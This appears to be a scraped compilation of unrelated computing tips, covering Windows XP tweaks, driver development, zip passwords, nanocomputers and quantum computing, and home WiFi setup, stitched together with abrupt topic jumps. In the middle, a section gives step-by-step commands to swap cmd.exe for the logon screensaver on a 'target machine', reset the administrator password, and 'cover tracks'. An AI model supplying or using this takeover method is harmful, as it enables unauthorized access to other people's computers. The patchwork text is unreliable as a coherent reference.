If you're having trouble running older programs originally developed for previous versions of Windows, you're not out of luck. Luckily for consumers, Microsoft built Compatibility Mode into XP. Compatibility Mode allows you to run a program using the shell of the original program it was developed for.
Here's how to access a program's Compatibility Mode in XP:
Find the executable or program shortcut icon you'd like to run. Right-click the icon and select Properties. Click the Compatibility tab and place a checkmark next to the text labeled "Run this program in compatibility mode." Select the operating system that the program was originally intended to run on. You may need to fine-tune the three fields under "Display Settings" if an older program requires 640x480 resolution or 256 colors. Click Apply.
Try starting the program after making these changes. If it still gives you trouble, try a different operating system. If the program was written for Win95 and worked fine in Win98, there's nothing that says it still won't work fine with Win98.
You can turn off window animation ("exploding" windows), displayed when you play around with minimizing/maximizing open windows. This makes navigating Windows 95/98/ME/NT4/2000/XP a lot quicker, especially if you don't have a fast video controller, or if you got tired of seeing it all the time (like I did). :)
To do this, run Regedit (or Regedt32) and go to:
HKEY_CURRENT_USER Control Panel Desktop WindowMetrics or if you are the only user of your Windows computer go to:
HKEY_USERS .Default Control Panel Desktop WindowMetrics
Right-click on an empty spot in the right hand pane. Select New -> String [REG_SZ] Value. Name it MinAnimate. Click OK. Double-click on "MinAnimate" and type 0 to turn OFF window animation or 1 to turn it ON. Click OK. Close the Registry Editor and restart Windows. Done.
TweakUI, the famous Microsoft Power Toy [110 KB, free, unsupported] can also turn off animated windows. Just remove the check mark from the "Window Animation" box under the General tab.
Summary: This document describes the steps you should take to create a Microsoft® Windows® XP driver for your device. To create a Windows XP device driver:
Install the current Windows DDK. Read the system requirements and installation instructions in the stand-alone Getting Started HTML file supplied with the DDK.
Read Getting Started with Windows Drivers. This document guides you through the planning and decision-making process involved in making a Windows device driver from design through distribution. You should also look through the DDK documentation for device-type-specific information.
The DDK documentation set has the following device-type-specific nodes:
Battery Devices
Display and Print Devices
IEEE 1284.4 Devices
Interactive Input Devices
Modem Devices
Multifunction Devices
Network Devices and Protocols
Parallel Ports and Devices
Serial Ports and Devices
Smart Card Devices
Still Image Devices
Storage Devices
Streaming Devices (Video and Audio)
Devices Requiring VDDs
IDE bus are described in System Support for Buses. Driver development for most device types also requires a strong understanding of Windows operating system fundamentals, which are described in Kernel-Mode Driver Architecture.
Look through the driver source code provided with the DDK for a sample that represents your device type. Use the sample code where possible, modifying it for your device's specifics.
The sample code can enhance your understanding of Windows XP driver implementation requirements and speed your development time.
Compile and build your driver. This should be done using the Build utility and not some other compiler, because the Build utility has certain features that are necessary for driver development.
Obtain a checked build of Windows XP, so that you can test and debug your driver using free and checked system builds.
The checked build of Windows XP provides extensive kernel-mode debugging capabilities not available in the free build.
Create an INF file so that you can install and test your driver.
Test and debug your driver. You should use Driver Verifier, a program that puts your driver through a variety of tests, stresses, and deliberate failures in order to test its response and reliability in many extreme situations. You should also use a debugger. Microsoft provides several powerful debuggers that can monitor and debug kernel-mode and user-mode drivers. Using Driver Verifier in conjunction with these debuggers, on both the checked and free versions of the operating system, can be a powerful way to test your driver.
Provide an installation package so that customers can install devices that use your driver.
Submit your driver and installation package to Microsoft so that it can be digitally signed.
There are many resources available to you while developing your driver. The following sites describe some of the support available to you:
http://www.microsoft.com/ddk describes how to obtain the current DDK and provides other information, such as a driver development reading list.
http://www.microsoft.com/hwdev provides information, such as device-type-specific white papers and late-breaking news, and a list of resources available to driver developers.
http://support.microsoft.com/support/ddk contains DDK product support information.
If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots thescreen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
Right-click the folder that you want to make private and choose "Properties" (or Alt+Double-click). Go to the "Sharing" tab and check the "Make this folder private" box.
Type in a password then confirm it. Click the "Create Password" button then close the Password window.
Click OK in the Properties dialog box.
Now anyone else logged on to your computer can't access that file without knowing your password.
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
GO TO RUN
Then
REGEDIT
The see for
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]then Edit these
"legalnoticecaption"="enter your notice caption""legalnoticetext"="enter your legal notice text"
If you have Windows XP:
1. Using Windows Explorer, locate the first file you want to zip.
2. Right click on the file and select “Send To” and “Compressed (zipped) Folder.” This will create a new compressed folder with the same name as the file, except with the extension .zip.
3. Right click any other file you want to compress and select “Copy.”
4. Right click on the compressed folder you created in step 2 and select “Paste.” The copied file was pasted into the compressed folder. Repeat this until your compressed folder contains all the files you want.
5. Right click on the compressed folder and select “Explore.”
6. In “File,” select “Add a Password.” Enter the password and confirm the password.
B. If you have an earlier version of Windows:
1. Download a zip utility. WinZip is very popular, and an evaluation version is available free.»http://www.winzip.com//(Other zip utilities are here: »http://.freedownloadscenter.com/Util···ilities/)
2. Using Windows Explorer, locate the first file you want to zip.
3. Right click on the file and select “WinZip” and “Add to Zip File.”
4. In “Add to Archive,” enter the path and name you want your zip file to have.
5. Click “Password” and enter the password you want the zip file to have.
6. Click “Add.”
7. On the WinZip window that appears, click “Add” and select any other files you would like to add to your zip file.
8. When you are done, select “File” and “Close Archive.”
If you are creating a password protected zip file for the purpose of sending a virus to an anti-virus company, use the password “infected” and state “the password is ‘infected’ ” in the email the zip file is being attached to. In this special case, the password protection is simply to prevent the virus from tripping alarms and being disinfected before it reaches the anti-virus company.
Some tools for making "password protected zip files" (compressed folders) may use the term "encryption" or "encryption key." Encryption key is technically the more accurate description. They are talking about the same thing, though.
Mechanical nanocomputers
A mechanical nanocomputer uses tiny mobile components called nanogears to encode information. Some scientists predict that such mechanical nanocomputers will be used to control nanorobots.
Quantum nanocomputers
A quantum nanocomputer store data in the form of atomic quantum states or spin. Single-electron memory (SEM) and quantum dots are examples of this type of technology.
Humanizing Nanocomputers
Apart from this, scientists aim to use nanotechnology to create nanorobots that will serve as antibodies that can be programmed. This will help to protect humans against pathogenic bacteria and viruses that keep mutating rendering many remedies ineffective against new strains. Nanorobots would overcome this problem by reprogramming selectively to destroy the new pathogens. Nanorobots are predicted to be part of the future of human medicine.
• SPRAY-ON NANO COMPUTERS
Consider that research is being done at the Ediburgh University to create "spray-on computers the size of a grain of sand” that will transform information technology. The research team aims to achieve this goal within four years. When these nanocomputers are sprayed on to the chests of coronary patients, the tiny cells record a patient’s health and transmit information back to a hospital computer. This would enable doctors to monitor heart patients who are living at home.
QUANTUM COMPUTERS
mechanical phenomena, such as entanglement and superposition to process data. Quantum computation aims to use the quantum properties of particles to represent and structure data. Quantum mechanics is used to understand how to perform operations with this data. The quantum mechanical properties of atoms or nuclei allow these particles to work together as quantum bits, or qubits. These qubits work together to form the computer's processor and memory. Qubits can interact with each other while being isolated from the external environment and this enables them to perform certain calculations much faster than conventional computers.
By computing many different numbers simultaneously and then interfering the results to get a single answer, a quantum computer can perform a large number of operations in parallel and ends up being much more powerful than a digital computer of the same size. "In the tiny spaces inside atoms, the ordinary rules of reality ... no longer hold. Defying all common sense, a single particle can be in two places at the same time. And so, while a switch in a conventional computer can be either on or off, representing 1 or 0, a quantum switch can paradoxically be in both states at the same time, saying 1 and 0.... Therein lies the source of the power." Whereas three ordinary switches could store any one of eight patterns, three quantum switches can hold all eight at once, taking "a shortcut through time." [Scientific America.com]
Quantum computers could prove to be useful for running simulations of quantum mechanics. This would benefit the fields of physics, chemistry, materials science, nanotechnology, biology and medicine because currently, advancement in these fields is limited by the slow speed of quantum mechanical simulations.
Quantum computing is ideal for tasks such as cryptography, modeling and indexing very large databases. Many government and military funding agencies are supporting quantum computing research to develop quantum computers for civilian and national security purposes, such as cryptanalysis.
ARTIFICIAL INTELLIGENCE
The term “Artificial Intelligence” was coined in 1956 by John McCarthy at the Massachusetts Institute of Technology. It is a branch of computer science that aims to make computers behave like humans. [Artificial Intelligence] Artificial Intelligence includes programming computers to make decisions in real life situations (e.g. some of these “expert systems” help physicians in the diagnosis of diseases based on symptoms), programming computers to understand human languages (natural language), programming computers to play games such as chess and checkers (games playing), programming computers to hear, see and react to other sensory stimuli(robotics) and designing systems that mimic human intelligence by attempting to reproduce the types of physical connections between neurones in the human brain (neural networks).
Natural-language processing would allow ordinary people who don’t have any knowledge of programming languages to interact with computers.
So what does the future of computer technology look like after these developments?
Through nanotechnology, computing devices are becoming progressively smaller and more powerful. Everyday devices with embedded technology and connectivity are becoming a reality. Nanotechnology has led to the creation of increasingly smaller and faster computers that can be embedded into small devices.
This has led to the idea of pervasive computing which aims to integrate software and hardware into all man made and some natural products. It is predicted that almost any items such as clothing, tools, appliances, cars, homes, coffee mugs and the human body will be imbedded with chips that will connect the device to an infinite network of other devices. [Pervasive Computing]Hence, in the future network technologies will be combined with wireless computing, voice recognition, Internet capability and artificial intelligence with an aim to create an environment where the connectivity of devices is embedded in such a way that the connectivity is not inconvenient or outwardly visible and is always available. In this way, computer technology will saturate almost every facet of our life. What seems like virtual reality at the moment will become the human reality in the future of computer technology.
After the decision has been made to invest in a wireless (WiFi) network, it’s time to run through a few vital issues specific to maximizing productivity. Before madly buying and trying to configure, here are some tips – some obvious, some not.
The three products needed are a WAP (Wireless Access Point), a router, and a wireless-enabled computer. WAPs are typically combined into one unit with routers, usually referred to as "wireless routers" because they have wireless capability. Virtually every new laptop has built-in wireless capability, and legacy laptops can accept wireless PCMCIA cards. PCI cards or USB wireless adapters can be installed on most desktop computers.
It is important to note that because the network is connected to the Internet, the router has to be hard-wired to the Internet connection via either the DSL modem or cable modem. If Internet service activation in your area includes the installation of a dedicated wall jack for the modem, have the jack placed in a centralized location to maximize coverage area.
Take note that the operating range of WiFi networks can vary, from 300 feet to as far as 11 miles (unobstructed), and is subject to at least a dozen variables. Certain things can weaken the signal – large appliances (SubZero refrigerators are notorious culprits), chimneys, older homes with plaster walls, and of course long distances between the router and the computer. Solutions to weak signal blues are discussed further on in this article.
Once a location has been chosen for the router, it’s time to configure it. Though most of the default settings don’t need to be changed, there are some that definitely should be. Within the controls of the router (usually accessed using any browser software), there are options that should be taken advantage of:
First off, change the default password for access to the router so others cannot gain access to your router.
Give the network a name and don’t make it too personal. Remember, other people are going to see it even if they can’t access it.
Enable the option that makes the router a DHCP server and then be sure to configure each device’s network settings to “use DHCP.”
Last but not least, enable wireless security, preferably WPA (Wireless Protected Access), if your router supports it, and create a password that is not too obvious. WEP (Wired Equivalent Privacy) can be used if WPA is not available however WEP can be easily hacked therefore WPA is the preferred security method for the home wireless network.
A Few More Important Tips
Most printers aren’t wireless, and those that are can be tough to configure. Best to skip the wireless printer and hard-wire one to the router or to one of the networked computers, then enable its ability to share the printer.
If a laptop hasn’t been shut down since being connected to a different WiFi network, Internet-mandatory processes (browsing, email) may not work. Reboot, and confirm that the proper network is being accessed. Power outages and other random problems occasionally disable wireless networks. A quick and dirty fix is to power down the computer, router, and broadband modem. Then, power them up in this order: modem, router, computer (waiting 45 seconds apart between each step.)
Make sure the right network is being accessed, and not a neighbor’s. A neighbor’s connection may allow access to the Internet for e-mail and surfing, but other activity such as printing and file sharing will not be allowed.
Even if every computer on the network is wireless, keep an Ethernet cable handy in the event that the router needs to be reconfigured and you are unable to connect wirelessly.
Password protecting the network is mentioned again because it is not an option. There are people who hack into networks and access personal data on computers, or use the internet connection for criminal means (such as sending spam e-mail.)
Weak Signal Blues
OK, so now the network works, but it is in a REALLY big house, and the wireless signal just isn’t robust enough to get to the back room on the third floor. It cuts in and out, and inhibits productivity. The 2.4 GHz radio band is extremely crowded these days with cordless phones, RF remotes, microwaves and other appliances that can cause interference with a WiFi signal. Now what?
One solution is to buy a range-extending antenna for the computer’s WiFi card or router, or a wireless range extender. A few of these strategically located in a large house can dramatically extend range and increase signal strength to remote corners of the house. Be forewarned though - the more complex a network is, the more it costs to install, and the tougher it is to troubleshoot problems.